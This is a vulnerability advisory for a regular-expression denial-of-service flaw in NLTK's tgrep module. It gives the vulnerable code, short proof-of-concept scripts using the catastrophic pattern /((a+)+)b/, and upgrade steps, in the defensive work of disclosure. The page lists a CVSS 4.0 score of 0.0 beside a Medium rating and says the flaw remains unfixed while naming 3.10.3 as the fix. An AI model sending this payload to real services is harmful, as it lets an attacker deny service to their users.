Skip to content

GHSA-w3v8-gmh9-3wv7 CVE-2026-80206 PYSEC-2026-3751

NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions

Medium PyPI
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 38.29% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
Fix
3.10.3
Upgrade nltk to this version or later

Description

Summary

The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code

nltk/tgrep.py — _tgrep_node_action() (around line 320)

When a tgrep pattern contains a /regex/ node, _tgrep_node_action compiles the embedded regex literal directly with no validation:

def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout

The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgrep_positions() or tgrep_compile() controls node_lit entirely.

Proof of Concept

import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact

In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation

This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit

Tool: Kira by Offgrid Security

Affected versions

PyPI

PackageVulnerableFixed in
nltk
< 3.10.3
3.10.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

nltk PyPI → 3.10.3

pip
pip install --upgrade "nltk>=3.10.3"
poetry
poetry add "nltk>=3.10.3"
uv
uv add "nltk>=3.10.3"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
High
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-j456-xh4h-cpf2
NLTK: WekaClassifier passes an unvalidated caller-controlled model path to the weka JVM, bypassing nltk.pathsec containment
High Also affects nltk
GHSA-ff5c-cp5c-9wjf
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
Medium Also affects nltk
GHSA-f794-5jv7-7672
NLTK: Downloader.download follows hardlinks and overwrites outside-root files
High Also affects nltk
GHSA-8mgp-746c-j5xp
NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots
High Also affects nltk
GHSA-8mpw-7fpc-4gqj
NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks
Low Also affects nltk
GHSA-cw6x-m8jw-qmrh
NLTK: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input
Medium Also affects nltk
GHSA-vp2x-qp44-57v7
NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`
Low Also affects nltk
GHSA-ww6m-cw3f-q94g
NLTK: Quadratic-time DoS in PorterStemmer via long runs of 'y'
High Also affects nltk
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor